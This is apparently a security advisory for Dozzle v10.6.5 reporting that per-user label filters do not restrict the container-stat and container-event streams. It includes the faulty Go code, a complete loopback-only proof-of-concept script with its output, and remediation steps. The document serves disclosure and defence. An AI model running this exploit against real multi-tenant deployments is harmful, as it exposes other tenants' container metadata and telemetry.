Dozzle label filters do not restrict container event and statistics streams

internal/support/docker/multi_host_service.go — SubscribeEventsAndStats subscribes to events and stats from every client with no label filter argument:

func (m *MultiHostService) SubscribeEventsAndStats(ctx context.Context, events chan<- container.ContainerEvent, stats chan<- container.ContainerStat) {
    for _, client := range m.manager.List() {
        client.SubscribeEvents(ctx, events)
        client.SubscribeStats(ctx, stats)
    }
}

The payloads carry the disclosed data. ContainerStat (internal/container/types.go) includes id, cpu, memory, memoryUsage, networkRxTotal, networkTxTotal, diskReadTotal, diskWriteTotal. ContainerEvent includes host, actorId and actorAttributes (a map[string]string), which for start events contains the container name, image, and every label.

Attacker model / precondition

The attacker is an authenticated low-privilege user of a Dozzle instance configured with simple auth (DOZZLE_AUTH_PROVIDER=simple) and at least one user whose filter: restricts them to a subset of containers — the standard multi-user / multi-tenant configuration the filter feature exists for. The attacker holds valid credentials for such a restricted account (or any account; the leak applies to whatever the account's filter excludes). No shell/actions/download role is required and no victim interaction is needed; the attacker simply opens the SSE stream that the normal UI already opens on load.

What bounds severity: the disclosure is limited to container metadata and resource telemetry — it does not by itself expose container log contents, environment-variable values, or the ability to exec/attach (those paths apply the filter correctly on the local host). It requires an authenticated account and only matters when per-user filters are actually used to separate tenants/environments; a single-user or unfiltered deployment has nothing to leak. Hence Confidentiality:Low, no Integrity/Availability impact.

Impact

A user constrained to one label scope can continuously enumerate, on every monitored host:

• The existence and identity of every container outside their scope, via container-event actorId plus actorAttributes (container name, image name, and the full label map — which is exactly the information the filter feature is meant to hide, and may itself encode tenant/project/environment names such as secretproject=acme-payroll).
• Live operational telemetry for those containers — CPU%, memory% and bytes, network RX/TX totals, disk read/write totals — updated every few seconds, enabling activity profiling, traffic/throughput inference, and load monitoring of other tenants' workloads.
• Lifecycle activity (deployments, restarts, crashes, pauses) of out-of-scope containers in real time.

In a multi-tenant or environment-segregated deployment (dev user must not see prod, tenant A must not see tenant B), this defeats the intended isolation for the telemetry/metadata plane while the UI still presents the user with their correctly-filtered single-container view.

Proof of Concept (complete — runs on 127.0.0.1 only)

Lab only. Requires Docker on the local host. Uses the official amir20/dozzle:v10.6.5 image. It creates one container the guest user is allowed to see (label visible=yes) and one the guest must NOT see (dz_secret, no such label), logs in as the restricted guest, and shows that the documented filtered channel returns exactly the one authorized container while the container-stat and container-event channels leak the forbidden container's telemetry and metadata.

set -e
WORK=$(mktemp -d); cd "$WORK"; mkdir -p data

# 1. Build a users.yml with an unrestricted admin and a guest filtered to label=visible=yes.
docker run --rm amir20/dozzle:v10.6.5 generate admin --password adminpass --name Admin > data/users.yml
docker run --rm amir20/dozzle:v10.6.5 generate guest --password guestpass --name Guest \
  --user-filter "label=visible=yes" --user-roles all > guest.yml
python3 - <<'PY'
admin=open("data/users.yml").read()
guest=open("guest.yml").read().split("users:\n",1)[1]
open("data/users.yml","w").write(admin.rstrip()+"\n"+guest)
PY

# 2. Start two workload containers: one the guest IS allowed to see, one it is NOT.
docker rm -f dz_visible dz_secret dozzle_lab 2>/dev/null || true
docker run -d --name dz_visible --label visible=yes alpine \
  sh -c 'while true; do echo "visible-log $(date)"; sleep 2; done' >/dev/null
docker run -d --name dz_secret --label secretproject=acme-payroll alpine \
  sh -c 'while true; do echo "SECRET-log $(date)"; sleep 2; done' >/dev/null

# 3. Start Dozzle v10.6.5 with simple auth, bound to loopback only.
docker run -d --name dozzle_lab -p 127.0.0.1:8083:8080 \
  -v /var/run/docker.sock:/var/run/docker.sock:ro \
  -v "$PWD/data:/data" \
  -e DOZZLE_AUTH_PROVIDER=simple \
  amir20/dozzle:v10.6.5 >/dev/null
sleep 4

B=http://127.0.0.1:8083
SECRET_ID=$(docker inspect -f '{{.Id}}' dz_secret)
VIS_ID=$(docker inspect -f '{{.Id}}' dz_visible)

# 4. Authenticate as the restricted guest.
curl -s -c guest.cookies -X POST "$B/api/token" -d 'username=guest' -d 'password=guestpass' -o /dev/null

# 5. Capture the events SSE stream as the guest for ~10s, triggering a lifecycle
#    event on the forbidden container partway through.
( timeout 10 curl -s -N -b guest.cookies "$B/api/events/stream" > guest_events.txt 2>/dev/null ) &
sleep 3
docker restart dz_secret >/dev/null     # generate die/start container-events for dz_secret
wait

# 6. Analyze: the documented filtered channel vs the two leaking channels.
python3 - "$SECRET_ID" "$VIS_ID" <<'PY'
import json,sys
secret,vis=sys.argv[1],sys.argv[2]; s12,v12=secret[:12],vis[:12]
ev=None; list_ids=set(); stat_ids=set(); evt=[]
secret_stat=None; secret_start_attrs=None
for line in open("guest_events.txt"):
    line=line.rstrip("\n")
    if line.startswith("event:"): ev=line[6:].strip()
    elif line.startswith("data:"):
        try: j=json.loads(line[5:].strip())
        except: continue
        if ev=="containers-changed" and isinstance(j,list):
            for c in j:
                if isinstance(c,dict) and c.get("id"): list_ids.add(c["id"])
        elif ev=="container-stat" and isinstance(j,dict):
            if j.get("id"): stat_ids.add(j["id"])
            if j.get("id")==s12: secret_stat=j
        elif ev=="container-event" and isinstance(j,dict):
            evt.append((j.get("name"),j.get("actorId")))
            if j.get("actorId")==s12 and j.get("actorAttributes"):
                secret_start_attrs=j["actorAttributes"]
print("=== DOCUMENTED FILTERED CHANNEL (containers-changed / initial list) ===")
print("  containers the guest is authorized to see:", len(list_ids), "->", sorted(x[:12] for x in list_ids))
print("  secret container present?:", s12 in {x[:12] for x in list_ids}, "(expected False)")
print()
print("=== LEAK CHANNEL 1: container-stat (NOT filtered) ===")
print("  distinct containers in stat stream:", len(stat_ids))
print("  secret container telemetry leaked?:", s12 in {x[:12] for x in stat_ids}, "(VULN if True)")
if secret_stat: print("  leaked dz_secret stat payload:", json.dumps(secret_stat))
print()
print("=== LEAK CHANNEL 2: container-event (NOT filtered) ===")
print("  lifecycle events leaked for dz_secret:", [e for e in evt if e[1]==s12])
if secret_start_attrs: print("  leaked dz_secret attributes:", json.dumps(secret_start_attrs))
PY

# 7. Cleanup.
docker rm -f dz_visible dz_secret dozzle_lab >/dev/null
cd /; rm -rf "$WORK"

Observed output (host details elided; the salient lines):

=== DOCUMENTED FILTERED CHANNEL (containers-changed / initial list) ===
  containers the guest is authorized to see: 1 -> ['87a94222ba1d']
  secret container present?: False (expected False)

=== LEAK CHANNEL 1: container-stat (NOT filtered) ===
  distinct containers in stat stream: 10
  secret container telemetry leaked?: True (VULN if True)
  leaked dz_secret stat payload: {"id": "9ec5e9a970d9", "cpu": 0, "memory": 0.00228, "memoryUsage": 487424, "networkRxTotal": 2444, "networkTxTotal": 126, "diskReadTotal": 0, "diskWriteTotal": 0}

=== LEAK CHANNEL 2: container-event (NOT filtered) ===
  lifecycle events leaked for dz_secret: [('die', '9ec5e9a970d9'), ('start', '9ec5e9a970d9')]
  leaked dz_secret attributes: {"env": "prod", "image": "nginx:alpine", "name": "dz_secret", "secretproject": "acme-payroll"}

The guest is authorized for exactly one container (the documented filter works for the list channel), yet the same stream delivers live telemetry for ten containers — including dz_secret — and leaks dz_secret's name, image and labels (including secretproject=acme-payroll) via lifecycle events. The negative control is the containers-changed/list channel returning a single container; the positive result is the stat/event channels returning the forbidden container.

Remediation

Apply the caller's userLabels to the container-stat and container-event channels in streamEvents, exactly as is already done for the container list. Concretely:

• Maintain, per connection, the set of container IDs visible under the caller's userLabels (it is already computed for the initial list and refreshed on containers-changed), and drop any container-stat whose id is not in that set before calling sseWriter.Event("container-stat", ...).
• For each container-event, resolve the event's container under userLabels (e.g. via FindContainer(event.Host, event.ActorID, userLabels) on the local/Docker path, which honors labels) and forward the event only if it resolves; otherwise skip it. Do the same for the container-updated and container-health branches, which carry actorId/container data for arbitrary containers.
• Alternatively/additionally, push the label filter down into SubscribeEventsAndStats so the fan-out itself only emits stats/events for containers matching the caller's filter, mirroring how SubscribeContainersStarted already takes a ContainerFilter.
• Add regression tests asserting that a user with filter: label=visible=yes receives container-stat and container-event only for matching containers, even when other containers are active on the host.

Please credit 5ud0 / Tarmo Technologies.